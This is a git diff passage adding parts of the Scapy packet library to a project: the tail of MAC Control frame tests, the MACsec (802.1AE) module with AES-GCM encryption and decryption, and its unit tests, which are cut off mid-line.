Ether(src='00:01:01:01:01:01', dst=MACControl.DEFAULT_DST_MAC)/\ + MACControlReport(timestamp=0x12345678, pending_grants=0x23) + +frm = Ether(frm.do_build()) + +report_layer = frm[MACControlReport] + +assert(report_layer.timestamp == 0x12345678) +assert(report_layer.pending_grants == 0x23) + += report frame flags (generic for all other register frame types) + +for flag in MACControl.REGISTER_FLAGS: + frm = Ether(src='00:01:01:01:01:01', dst=MACControl.DEFAULT_DST_MAC) / \ + MACControlReport(timestamp=0x12345678, flags=flag) + frm = Ether(frm.do_build()) + report_layer = frm[MACControlReport] + assert(report_layer.flags == flag) + += register_req frame + +frm = Ether(src='00:01:01:01:01:01', dst=MACControl.DEFAULT_DST_MAC)/\ + MACControlRegisterReq(timestamp=0x87654321, + echoed_pending_grants=0x12, + sync_time=0x3344, + assigned_port=0x7766) + +frm = Ether(frm.do_build()) +register_req_layer = frm[MACControlRegisterReq] + +assert(register_req_layer.timestamp == 0x87654321) +assert (register_req_layer.echoed_pending_grants == 0x12) +assert (register_req_layer.sync_time == 0x3344) +assert (register_req_layer.assigned_port == 0x7766) + += register frame + +frm = Ether(src='00:01:01:01:01:01', dst=MACControl.DEFAULT_DST_MAC)/\ + MACControlRegister(timestamp=0x11223344, + echoed_assigned_port=0x2277, + echoed_sync_time=0x3399) + +frm = Ether(frm.do_build()) +register_layer = frm[MACControlRegister] +assert(register_layer.timestamp == 0x11223344) +assert(register_layer.echoed_assigned_port == 0x2277) +assert(register_layer.echoed_sync_time == 0x3399) + += register_ack frame + +frm = Ether(src='00:01:01:01:01:01', dst=MACControl.DEFAULT_DST_MAC)/\ + MACControlRegisterAck(timestamp=0x11223344, + echoed_assigned_port=0x2277, + echoed_sync_time=0x3399) + +frm = Ether(frm.do_build()) +register_ack_layer = frm[MACControlRegisterAck] +assert(register_ack_layer.timestamp == 0x11223344) +assert(register_ack_layer.echoed_assigned_port == 0x2277) +assert(register_ack_layer.echoed_sync_time == 0x3399) + += class based flow control frame + +frm = Ether(src='00:01:01:01:01:01', dst=MACControl.DEFAULT_DST_MAC)/ \ + MACControlClassBasedFlowControl(c0_enabled=1, c0_pause_time=0x4321, + c5_enabled=1, c5_pause_time=0x1234) + +frm = Ether(frm.do_build()) +cbfc_layer = frm[MACControlClassBasedFlowControl] +assert(cbfc_layer.c0_enabled) +assert(cbfc_layer.c0_pause_time == 0x4321) +assert(cbfc_layer.c5_enabled) +assert(cbfc_layer.c5_pause_time == 0x1234) +assert(not cbfc_layer.c1_enabled) +assert(cbfc_layer.c1_pause_time == 0) +assert(not cbfc_layer.c7_enabled) +assert(cbfc_layer.c7_pause_time == 0) +assert(cbfc_layer._reserved == 0) + ++ test padding + += naked frame + +frm = Ether(src='00:01:01:01:01:01', dst=MACControl.DEFAULT_DST_MAC) / \ + MACControlRegisterAck(timestamp=0x12345678) + +frm = frm.do_build() +assert(len(frm) == 60) + += single vlan tag + +frm = Ether(src='00:01:01:01:01:01', dst=MACControl.DEFAULT_DST_MAC) / \ + Dot1Q(vlan=42) / \ + MACControlRegisterAck(timestamp=0x12345678) + +frm = frm.do_build() +assert(len(frm) == 60) + += QinQ + +frm = Ether(src='00:01:01:01:01:01', dst=MACControl.DEFAULT_DST_MAC) / \ + Dot1Q(vlan=42) / \ + Dot1Q(vlan=42) / \ + MACControlRegisterAck(timestamp=0x12345678) + +frm = frm.do_build() +assert(len(frm) == 60) + += hand craftet payload (disabled auto padding) + +frm = Ether(src='00:01:01:01:01:01', dst=MACControl.DEFAULT_DST_MAC) / \ + MACControlRegisterAck(timestamp=0x12345678) / \ + Raw(b'may pass devices') + +frm = Ether(frm.do_build()) +raw_layer = frm[Raw] +assert(raw_layer.load == b'may pass devices') +assert(len(frm) < 64) diff --git a/libs/scapy/contrib/macsec.py b/libs/scapy/contrib/macsec.py new file mode 100755 index 0000000..1a962e0 --- /dev/null +++ b/libs/scapy/contrib/macsec.py @@ -0,0 +1,241 @@ +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Sabrina Dubroca +# This program is published under a GPLv2 license + +# scapy.contrib.description = 802.1AE - IEEE MAC Security standard (MACsec) +# scapy.contrib.status = loads + +""" +Classes and functions for MACsec. +""" + +from __future__ import absolute_import +from __future__ import print_function +import struct +import copy + +from scapy.config import conf +from scapy.fields import BitField, ConditionalField, IntField, PacketField, \ + XShortEnumField +from scapy.packet import Packet, Raw, bind_layers +from scapy.layers.l2 import Ether, Dot1AD, Dot1Q +from scapy.layers.eap import MACsecSCI +from scapy.layers.inet import IP +from scapy.layers.inet6 import IPv6 +from scapy.compat import raw +from scapy.data import ETH_P_MACSEC, ETHER_TYPES, ETH_P_IP, ETH_P_IPV6 +from scapy.error import log_loading +import scapy.modules.six as six + +if conf.crypto_valid: + from cryptography.hazmat.backends import default_backend + from cryptography.hazmat.primitives.ciphers import ( + Cipher, + algorithms, + modes, + ) +else: + log_loading.info("Can't import python-cryptography v1.7+. " + "Disabled MACsec encryption/authentication.") + + +NOSCI_LEN = 14 + 6 +SCI_LEN = 8 +DEFAULT_ICV_LEN = 16 + + +class MACsecSA(object): + """Representation of a MACsec Secure Association + + Provides encapsulation, decapsulation, encryption, and decryption + of MACsec frames + """ + def __init__(self, sci, an, pn, key, icvlen, encrypt, send_sci, xpn_en=False, ssci=None, salt=None): # noqa: E501 + if isinstance(sci, six.integer_types): + self.sci = struct.pack('!Q', sci) + elif isinstance(sci, bytes): + self.sci = sci + else: + raise TypeError("SCI must be either bytes or int") + self.an = an + self.pn = pn + self.key = key + self.icvlen = icvlen + self.do_encrypt = encrypt + self.send_sci = send_sci + self.xpn_en = xpn_en + if self.xpn_en: + # Get SSCI (32 bits) + if isinstance(ssci, six.integer_types): + self.ssci = struct.pack('!L', ssci) + elif isinstance(ssci, bytes): + self.ssci = ssci + else: + raise TypeError("SSCI must be either bytes or int") + # Get Salt (96 bits, only bytes allowed) + if isinstance(salt, bytes): + self.salt = salt + else: + raise TypeError("Salt must be bytes") + + def make_iv(self, pkt): + """generate an IV for the packet""" + if self.xpn_en: + tmp_pn = (self.pn & 0xFFFFFFFF00000000) | (pkt[MACsec].pn & 0xFFFFFFFF) # noqa: E501 + tmp_iv = self.ssci + struct.pack('!Q', tmp_pn) + return bytes(bytearray([a ^ b for a, b in zip(bytearray(tmp_iv), bytearray(self.salt))])) # noqa: E501 + else: + return self.sci + struct.pack('!I', pkt[MACsec].pn) + + @staticmethod + def split_pkt(pkt, assoclen, icvlen=0): + """ + split the packet into associated data, plaintext or ciphertext, and + optional ICV + """ + data = raw(pkt) + assoc = data[:assoclen] + if icvlen: + icv = data[-icvlen:] + enc = data[assoclen:-icvlen] + else: + icv = b'' + enc = data[assoclen:] + return assoc, enc, icv + + def e_bit(self): + """returns the value of the E bit for packets sent through this SA""" + return self.do_encrypt + + def c_bit(self): + """returns the value of the C bit for packets sent through this SA""" + return self.do_encrypt or self.icvlen != DEFAULT_ICV_LEN + + @staticmethod + def shortlen(pkt): + """determine shortlen for a raw packet (not encapsulated yet)""" + datalen = len(pkt) - 2 * 6 + if datalen < 48: + return datalen + return 0 + + def encap(self, pkt): + """encapsulate a frame using this Secure Association""" + if pkt.name != Ether().name: + raise TypeError('cannot encapsulate packet in MACsec, must be Ethernet') # noqa: E501 + hdr = copy.deepcopy(pkt) + payload = hdr.payload + del hdr.payload + tag = MACsec(sci=self.sci, an=self.an, + SC=self.send_sci, + E=self.e_bit(), C=self.c_bit(), + shortlen=MACsecSA.shortlen(pkt), + pn=(self.pn & 0xFFFFFFFF), type=pkt.type) + hdr.type = ETH_P_MACSEC + return hdr / tag / payload + + # this doesn't really need to be a method, but for symmetry with + # encap(), it is + def decap(self, orig_pkt): + """decapsulate a MACsec frame""" + if orig_pkt.name != Ether().name or orig_pkt.payload.name != MACsec().name: # noqa: E501 + raise TypeError('cannot decapsulate MACsec packet, must be Ethernet/MACsec') # noqa: E501 + packet = copy.deepcopy(orig_pkt) + prev_layer = packet[MACsec].underlayer + prev_layer.type = packet[MACsec].type + next_layer = packet[MACsec].payload + del prev_layer.payload + if prev_layer.name == Ether().name: + return Ether(raw(prev_layer / next_layer)) + return prev_layer / next_layer + + def encrypt(self, orig_pkt, assoclen=None): + """encrypt a MACsec frame for this Secure Association""" + hdr = copy.deepcopy(orig_pkt) + del hdr[MACsec].payload + del hdr[MACsec].type + pktlen = len(orig_pkt) + if self.send_sci: + hdrlen = NOSCI_LEN + SCI_LEN + else: + hdrlen = NOSCI_LEN + if assoclen is None or not self.do_encrypt: + if self.do_encrypt: + assoclen = hdrlen + else: + assoclen = pktlen + iv = self.make_iv(orig_pkt) + assoc, pt, _ = MACsecSA.split_pkt(orig_pkt, assoclen) + encryptor = Cipher( + algorithms.AES(self.key), + modes.GCM(iv), + backend=default_backend() + ).encryptor() + encryptor.authenticate_additional_data(assoc) + ct = encryptor.update(pt) + encryptor.finalize() + hdr[MACsec].payload = Raw(assoc[hdrlen:assoclen] + ct + encryptor.tag) + return hdr + + def decrypt(self, orig_pkt, assoclen=None): + """decrypt a MACsec frame for this Secure Association""" + hdr = copy.deepcopy(orig_pkt) + del hdr[MACsec].payload + pktlen = len(orig_pkt) + if self.send_sci: + hdrlen = NOSCI_LEN + SCI_LEN + else: + hdrlen = NOSCI_LEN + if assoclen is None or not self.do_encrypt: + if self.do_encrypt: + assoclen = hdrlen + else: + assoclen = pktlen - self.icvlen + iv = self.make_iv(hdr) + assoc, ct, icv = MACsecSA.split_pkt(orig_pkt, assoclen, self.icvlen) + decryptor = Cipher( + algorithms.AES(self.key), + modes.GCM(iv, icv), + backend=default_backend() + ).decryptor() + decryptor.authenticate_additional_data(assoc) + pt = assoc[hdrlen:assoclen] + pt += decryptor.update(ct) + pt += decryptor.finalize() + hdr[MACsec].type = struct.unpack('!H', pt[0:2])[0] + hdr[MACsec].payload = Raw(pt[2:]) + return hdr + + +class MACsec(Packet): + """representation of one MACsec frame""" + name = '802.1AE' + fields_desc = [BitField('Ver', 0, 1), + BitField('ES', 0, 1), + BitField('SC', 0, 1), + BitField('SCB', 0, 1), + BitField('E', 0, 1), + BitField('C', 0, 1), + BitField('an', 0, 2), + BitField('reserved', 0, 2), + BitField('shortlen', 0, 6), + IntField("pn", 1), + ConditionalField(PacketField("sci", None, MACsecSCI), lambda pkt: pkt.SC), # noqa: E501 + ConditionalField(XShortEnumField("type", None, ETHER_TYPES), + lambda pkt: pkt.type is not None)] + + def mysummary(self): + summary = self.sprintf("an=%MACsec.an%, pn=%MACsec.pn%") + if self.SC: + summary += self.sprintf(", sci=%MACsec.sci%") + if self.type is not None: + summary += self.sprintf(", %MACsec.type%") + return summary + + +bind_layers(MACsec, IP, type=ETH_P_IP) +bind_layers(MACsec, IPv6, type=ETH_P_IPV6) + +bind_layers(Dot1AD, MACsec, type=ETH_P_MACSEC) +bind_layers(Dot1Q, MACsec, type=ETH_P_MACSEC) +bind_layers(Ether, MACsec, type=ETH_P_MACSEC) diff --git a/libs/scapy/contrib/macsec.uts b/libs/scapy/contrib/macsec.uts new file mode 100755 index 0000000..8a2b4a0 --- /dev/null +++ b/libs/scapy/contrib/macsec.uts @@ -0,0 +1,373 @@ +# MACsec unit tests +# run with: +# test/run_tests -P "load_contrib('macsec')" -t scapy/contrib/macsec.uts -F + ++ MACsec +~ crypto not_pypy +# Note: these tests are disabled with pypy, as the cryptography module does +# not currently work with the pypy version used by Travis CI. + += MACsec - basic encap - encrypted +sa = MACsecSA(sci=b'\x52\x54\x00\x13\x01\x56\x00\x01', an=0, pn=100, key=b'aaaaaaaaaaaaaaaa', icvlen=16, encrypt=1, send_sci=1) +p = Ether(src='aa:aa:aa:bb:bb:bb', dst='cc:cc:cc:dd:dd:dd')/IP(src='192.168.0.1', dst='192.168.0.2')/ICMP(type='echo-request')/"1234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890" +m = sa.encap(p) +assert(m.type == ETH_P_MACSEC) +assert(m[MACsec].type == ETH_P_IP) +assert(len(m) == len(p) + 16) +assert(m[MACsec].an == 0) +assert(m[MACsec].pn == 100) +assert(m[MACsec].shortlen == 0) +assert(m[MACsec].SC) +assert(m[MACsec].E) +assert(m[MACsec].C) +assert(m[MACsec].sci == b'\x52\x54\x00\x13\x01\x56\x00\x01') + += MACsec - basic encryption - encrypted +sa = MACsecSA(sci=b'\x52\x54\x00\x13\x01\x56\x00\x01', an=0, pn=100, key=b'aaaaaaaaaaaaaaaa', icvlen=16, encrypt=1, send_sci=1) +p = Ether(src='aa:aa:aa:bb:bb:bb', dst='cc:cc:cc:dd:dd:dd')/IP(src='192.168.0.1', dst='192.168.0.2')/ICMP(type='echo-request')/"1234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890" +m = sa.encap(p) +e = sa.encrypt(m) +assert(e.type == ETH_P_MACSEC) +assert(e[MACsec].type == None) +assert(len(e) == len(p) + 16 + 16) +assert(e[MACsec].an == 0) +assert(e[MACsec].pn == 100) +assert(e[MACsec].shortlen == 0) +assert(e[MACsec].SC) +assert(e[MACsec].E) +assert(e[MACsec].C) +assert(e[MACsec].sci == b'\x52\x54\x00\x13\x01\x56\x00\x01') + += MACsec - basic decryption - encrypted +sa = MACsecSA(sci=b'\x52\x54\x00\x13\x01\x56\x00\x01', an=0, pn=100, key=b'aaaaaaaaaaaaaaaa', icvlen=16, encrypt=1, send_sci=1) +p = Ether(src='aa:aa:aa:bb:bb:bb', dst='cc:cc:cc:dd:dd:dd')/IP(src='192.168.0.1', dst='192.168.0.2')/ICMP(type='echo-request')/"1234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890" +m = sa.encap(p) +e = sa.encrypt(m) +d = sa.decrypt(e) +assert(d.type == ETH_P_MACSEC) +assert(d[MACsec].type == ETH_P_IP) +assert(len(d) == len(m)) +assert(d[MACsec].an == 0) +assert(d[MACsec].pn == 100) +assert(d[MACsec].shortlen == 0) +assert(d[MACsec].SC) +assert(d[MACsec].E) +assert(d[MACsec].C) +assert(d[MACsec].sci == b'\x52\x54\x00\x13\x01\x56\x00\x01') +assert(raw(d) == raw(m)) + += MACsec - basic decap - decrypted +sa = MACsecSA(sci=b'\x52\x54\x00\x13\x01\x56\x00\x01', an=0, pn=100, key=b'aaaaaaaaaaaaaaaa', icvlen=16, encrypt=1, send_sci=1) +p = Ether(src='aa:aa:aa:bb:bb:bb', dst='cc:cc:cc:dd:dd:dd')/IP(src='192.168.0.1', dst='192.168.0.2')/ICMP(type='echo-request')/"1234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890" +m = sa.encap(p) +e = sa.encrypt(m) +d = sa.decrypt(e) +r = sa.decap(d) +assert(raw(r) == raw(p)) + + + += MACsec - basic encap - integrity only +sa = MACsecSA(sci=b'\x52\x54\x00\x13\x01\x56\x00\x01', an=0, pn=200, key=b'aaaaaaaaaaaaaaaa', icvlen=16, encrypt=0, send_sci=1) +p = Ether(src='aa:aa:aa:bb:bb:bb', dst='cc:cc:cc:dd:dd:dd')/IP(src='192.168.0.1', dst='192.168.0.2')/ICMP(type='echo-request')/"1234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890" +m = sa.encap(p) +assert(m.type == ETH_P_MACSEC) +assert(m[MACsec].type == ETH_P_IP) +assert(len(m) == len(p) + 16) +assert(m[MACsec].an == 0) +assert(m[MACsec].pn == 200) +assert(m[MACsec].shortlen == 0) +assert(m[MACsec].SC) +assert(not m[MACsec].E) +assert(not m[MACsec].C) +assert(m[MACsec].sci == b'\x52\x54\x00\x13\x01\x56\x00\x01') + += MACsec - basic encryption - integrity only +sa = MACsecSA(sci=b'\x52\x54\x00\x13\x01\x56\x00\x01', an=0, pn=200, key=b'aaaaaaaaaaaaaaaa', icvlen=16, encrypt=0, send_sci=1) +p = Ether(src='aa:aa:aa:bb:bb:bb', dst='cc:cc:cc:dd:dd:dd')/IP(src='192.168.0.1', dst='192.168.0.2')/ICMP(type='echo-request')/"1234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890" +m = sa.encap(p) +e = sa.encrypt(m) +assert(m.type == ETH_P_MACSEC) +assert(e[MACsec].type == None) +assert(len(e) == len(p) + 16 + 16) +assert(e[MACsec].an == 0) +assert(e[MACsec].pn == 200) +assert(e[MACsec].shortlen == 0) +assert(e[MACsec].SC) +assert(not e[MACsec].E) +assert(not e[MACsec].C) +assert(e[MACsec].sci == b'\x52\x54\x00\x13\x01\x56\x00\x01') +assert(raw(e)[:-16] == raw(m)) + += MACsec - basic decryption - integrity only +sa = MACsecSA(sci=b'\x52\x54\x00\x13\x01\x56\x00\x01', an=0, pn=200, key=b'aaaaaaaaaaaaaaaa', icvlen=16, encrypt=0, send_sci=1) +p = Ether(src='aa:aa:aa:bb:bb:bb', dst='cc:cc:cc:dd:dd:dd')/IP(src='192.168.0.1', dst='192.168.0.2')/ICMP(type='echo-request')/"1234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890" +m = sa.encap(p) +e = sa.encrypt(m) +d = sa.decrypt(e) +assert(d.type == ETH_P_MACSEC) +assert(d[MACsec].type == ETH_P_IP) +assert(len(d) == len(m)) +assert(d[MACsec].an == 0) +assert(d[MACsec].pn == 200) +assert(d[MACsec].shortlen == 0) +assert(d[MACsec].SC) +assert(not d[MACsec].E) +assert(not d[MACsec].C) +assert(d[MACsec].sci == b'\x52\x54\x00\x13\x01\x56\x00\x01') +assert(raw(d) == raw(m)) + += MACsec - basic decap - integrity only +sa = MACsecSA(sci=b'\x52\x54\x00\x13\x01\x56\x00\x01', an=0, pn=200, key=b'aaaaaaaaaaaaaaaa', icvlen=16, encrypt=0, send_sci=1) +p = Ether(src='aa:aa:aa:bb:bb:bb', dst='cc:cc:cc:dd:dd:dd')/IP(src='192.168.0.1', dst='192.168.0.2')/ICMP(type='echo-request')/"1234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890" +m = sa.encap(p) +e = sa.encrypt(m) +d = sa.decrypt(e) +r = sa.decap(d) +assert(raw(r) == raw(p)) + += MACsec - encap - shortlen 2 +sa = MACsecSA(sci=0x5254001301560001, an=0, pn=200, key=b'aaaaaaaaaaaaaaaa', icvlen=16, encrypt=0, send_sci=1) +p = Ether(src='aa:aa:aa:bb:bb:bb', dst='cc:cc:cc:dd:dd:dd') +m = sa.encap(p) +assert(m[MACsec].shortlen == 2) +assert(len(m) == m[MACsec].shortlen + 20 + (8 if sa.send_sci else 0)) + += MACsec - encap - shortlen 10 +sa = MACsecSA(sci=0x5254001301560001, an=0, pn=200, key=b'aaaaaaaaaaaaaaaa', icvlen=16, encrypt=0, send_sci=1) +p = Ether(src='aa:aa:aa:bb:bb:bb', dst='cc:cc:cc:dd:dd:dd')/Raw("x" * 8) +m = sa.encap(p) +assert(m[MACsec].shortlen == 10) +assert(len(m) == m[MACsec].shortlen + 20 + (8 if sa.send_sci else 0)) + += MACsec - encap - shortlen 18 +sa = MACsecSA(sci=0x5254001301560001, an=0, pn=200, key=b'aaaaaaaaaaaaaaaa', icvlen=16, encrypt=0, send_sci=1) +p = Ether(src='aa:aa:aa:bb:bb:bb', dst='cc:cc:cc:dd:dd:dd')/Raw("x" * 16) +m = sa.encap(p) +assert(m[MACsec].shortlen == 18) +assert(len(m) == m[MACsec].shortlen + 20 + (8 if sa.send_sci else 0)) + += MACsec - encap - shortlen 32 +sa = MACsecSA(sci=0x5254001301560001, an=0, pn=200, key=b'aaaaaaaaaaaaaaaa', icvlen=16, encrypt=0, send_sci=1) +p = Ether(src='aa:aa:aa:bb:bb:bb', dst='cc:cc:cc:dd:dd:dd')/Raw("x" * 30) +m = sa.encap(p) +assert(m[MACsec].shortlen == 32) +assert(len(m) == m[MACsec].shortlen + 20 + (8 if sa.send_sci else 0)) + += MACsec - encap - shortlen 40 +sa = MACsecSA(sci=0x5254001301560001, an=0, pn=200, key=b'aaaaaaaaaaaaaaaa', icvlen=16, encrypt=0, send_sci=1) +p = Ether(src='aa:aa:aa:bb:bb:bb', dst='cc:cc:cc:dd:dd:dd')/Raw("x" * 38) +m = sa.encap(p) +assert(m[MACsec].shortlen == 40) +assert(len(m) == m[MACsec].shortlen + 20 + (8 if sa.send_sci else 0)) + += MACsec - encap - shortlen 47 +sa = MACsecSA(sci=0x5254001301560001, an=0, pn=200, key=b'aaaaaaaaaaaaaaaa', icvlen=16, encrypt=0, send_sci=1) +p = Ether(src='aa:aa:aa:bb:bb:bb', dst='cc:cc:cc:dd:dd:dd')/Raw("x" * 45) +m = sa.encap(p) +assert(m[MACsec].shortlen == 47) +assert(len(m) == m[MACsec].shortlen + 20 + (8 if sa.send_sci else 0)) + += MACsec - encap - shortlen 0 (48) +sa = MACsecSA(sci=0x5254001301560001, an=0, pn=200, key=b'aaaaaaaaaaaaaaaa', icvlen=16, encrypt=0, send_sci=1) +p = Ether(src='aa:aa:aa:bb:bb:bb', dst='cc:cc:cc:dd:dd:dd')/Raw("x" * 45 + "y") +m = sa.encap(p) +assert(m[MACsec].shortlen == 0) + + += MACsec - encap - shortlen 2/nosci +sa = MACsecSA(sci=0x5254001301560001, an=0, pn=200, key=b'aaaaaaaaaaaaaaaa', icvlen=16, encrypt=0, send_sci=0) +p = Ether(src='aa:aa:aa:bb:bb:bb', dst='cc:cc:cc:dd:dd:dd') +m = sa.encap(p) +assert(m[MACsec].shortlen == 2) +assert(len(m) == m[MACsec].shortlen + 20 + (8 if sa.send_sci else 0)) + += MACsec - encap - shortlen 32/nosci +sa = MACsecSA(sci=0x5254001301560001, an=0, pn=200, key=b'aaaaaaaaaaaaaaaa', icvlen=16, encrypt=0, send_sci=0) +p = Ether(src='aa:aa:aa:bb:bb:bb', dst='cc:cc:cc:dd:dd:dd')/Raw("x" * 30) +m = sa.encap(p) +assert(m[MACsec].shortlen == 32) +assert(len(m) == m[MACsec].shortlen + 20 + (8 if sa.send_sci else 0)) + += MACsec - encap - shortlen 47/nosci +sa = MACsecSA(sci=0x5254001301560001, an=0, pn=200, key=b'aaaaaaaaaaaaaaaa', icvlen=16, encrypt=0, send_sci=0) +p = Ether(src='aa:aa:aa:bb:bb:bb', dst='cc:cc:cc:dd:dd:dd')/Raw("x" * 45) +m = sa.encap(p) +assert(m[MACsec].shortlen == 47) +assert(len(m) == m[MACsec].shortlen + 20 + (8 if sa.send_sci else 0)) + + += MACsec - authenticate +tx = Ether(b"RT\x00\x12\x01V.\xbc\x84\xd5\xca\x13\x88\xe5 \x00\x00\x00\x00\rRT\x00\x13\x01V\x00\x01\x08\x00E\x00\x00T\x11:@\x00@\x01\xa6\x1b\xc0\xa8\x01\x01\xc0\xa8\x01\x02\x08\x00a\xeaG+\x00\x01\xc0~RY\x00\x00\x00\x00w>\x06\x00\x00\x00\x00\x00\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\xf1\xb8\xe4,b\xb00\x98L\x85m1Q9\t:") +rx = Ether(b".\xbc\x84\xd5\xca\x13RT\x00\x12\x01V\x88\xe5 \x00\x00\x00\x00#RT\x00\x12\x01V\x00\x01\x08\x00E\x00\x00T\xd4\x1a\x00\x00@\x01#;\xc0\xa8\x01\x02\xc0\xa8\x01\x01\x00\x00i\xeaG+\x00\x01\xc0~RY\x00\x00\x00\x00w>\x06\x00\x00\x00\x00\x00\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37z\x11\xf8S\xe5u\x81\xe8\x19\\nxX\x02\x13\x01") +rxsa = MACsecSA(sci=0x5254001201560001, an=0, pn=31, key=b'aaaaaaaaaaaaaaaa', icvlen=16, encrypt=0, send_sci=1) +txsa = MACsecSA(sci=0x5254001301560001, an=0, pn=31, key=b'\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61', icvlen=16, encrypt=0, send_sci=1) +txdec = txsa.decap(txsa.decrypt(tx)) +rxdec = rxsa.decap(rxsa.decrypt(rx)) +txref = b"RT\x00\x12\x01V.\xbc\x84\xd5\xca\x13\x08\x00E\x00\x00T\x11:@\x00@\x01\xa6\x1b\xc0\xa8\x01\x01\xc0\xa8\x01\x02\x08\x00a\xeaG+\x00\x01\xc0~RY\x00\x00\x00\x00w>\x06\x00\x00\x00\x00\x00\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37" +rxref = b".\xbc\x84\xd5\xca\x13RT\x00\x12\x01V\x08\x00E\x00\x00T\xd4\x1a\x00\x00@\x01#;\xc0\xa8\x01\x02\xc0\xa8\x01\x01\x00\x00i\xeaG+\x00\x01\xc0~RY\x00\x00\x00\x00w>\x06\x00\x00\x00\x00\x00\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37" +assert(raw(txdec) == raw(txref)) +assert(raw(rxdec) == raw(rxref)) + + + += MACsec - authenticate - invalid packet +rx = Ether(b".\xbc\x84\xd5\xca\x13RT\x00\x12\x01V\x88\xe5 \x00\x00\x00\x00#RT\x00\x12\x01V\x00\x01\x08\x00E\x00\x00T\xd4\x1a\x00\x00@\x01#;\xc0\xa8\x01\x02\xc0\xa8\x01\x01\x00\x00i\xeaG+\x00\x01\xc0~RY\x00\x00\x00\x00w>\x06\x00\x00\x00\x00\x00\xba\xdb\xba\xdb\xad\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37z\x11\xf8S\xe5u\x81\xe8\x19\\nxX\x02\x13\x01") +txsa = MACsecSA(sci=0x5254001301560001, an=0, pn=31, key=b'\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61', icvlen=16, encrypt=0, send_sci=1) +try: + rxdec = rxsa.decap(rxsa.decrypt(rx)) + assert(not "This packet shouldn't have been authenticated as correct") +except InvalidTag: + pass + + + += MACsec - decrypt +tx = Ether(b"RT\x00\x12\x01V.\xbc\x84\xd5\xca\x13\x88\xe5,\x00\x00\x00\x00\x1fRT\x00\x13\x01V\x00\x01\xf1\xd6\xf7\x03\xf0%\x19\x8e\x88\xb0\xac\xa1\x82\x98\x94]\x85&\xc4U*\x84kX#O\xb6\x8f\xf1\x9d\xc5\xdc\xe0\x80,\x98\x8e_\xd53e\x16b0\xaf\xd9\x9e;A\x8aM\xfe\x16\xf6j\xe6\xea\xb7\x9c\xf3\x9bCc#,\x93\xf7\xc0\xdb\x9a\xd0\x0c\xfd?\xcbd\xe5D\xb7\xc9\xbb\xf5\x93M\xc5\x1d'LR\xed\xf3\xbc\xa0\xdf\x86\xf7\xc2JN\xcd\x19\xc1?\xf7\xd2\xbe\x00\x0f`\xe0\x04\xcfX5\xdc\xe7\xb6\xe6\x82\xc4\xac\xd7\x06\xe31\xbe|\x98l\xc8\xc1#*n+x|\xad\x0b<\xfd\xb8\xceoR\x1e") +rx = Ether(b".\xbc\x84\xd5\xca\x13RT\x00\x12\x01V\x88\xe5,\x00\x00\x00\x005RT\x00\x12\x01V\x00\x01\x04\xbaV\xe6\xcf\xcfbhy\x7f\xce\x12.\x80WI\xe5\xd5\x98)6\xe1vjVO@\x84\xde\x9b\x83\xbaw\xef\x13\xc3\xfd\xad\x81\xd4S?\x01\x01\xab\xa8 PzSq2\x905\xf6\x8cT\xd7\xb0P\xe2\xd04\xc7F\x88\x85\x10\xc3\x99\x80\xe3(\t\x10\x87\xa9{z\x22\xce>;Mr\xbe\xc1\xa0\x07%\x01\x96\xe5\xa3\x18]\xec\xbb\x7f\xde0\xa1\x99\xb2\xad\x93j\x97\xef\xf4\xee\xf0\xe4s\xb7h\x95\xc3\x8b[~hX\xbf|\xee\x99\x97\xe0;Q\x9aa\xb9\x13$\xd6\xe4\xb4\xce\njt\xc0\xa1.") +rxsa = MACsecSA(sci=0x5254001201560001, an=0, pn=31, key=b'aaaaaaaaaaaaaaaa', icvlen=16, encrypt=1, send_sci=1) +txsa = MACsecSA(sci=0x5254001301560001, an=0, pn=31, key=b'\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61', icvlen=16, encrypt=1, send_sci=1) +txdec = txsa.decap(txsa.decrypt(tx)) +rxdec = rxsa.decap(rxsa.decrypt(rx)) +txref = b"RT\x00\x12\x01V.\xbc\x84\xd5\xca\x13\x08\x00E\x00\x00\x80#D@\x00@\x01\x93\xe5\xc0\xa8\x01\x01\xc0\xa8\x01\x02\x08\x00E\xd5\x0f\xb3\x00\x01SrSY\x00\x00\x00\x00\x8b\x1d\r\x00\x00\x00\x00\x00\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abc" +rxref = 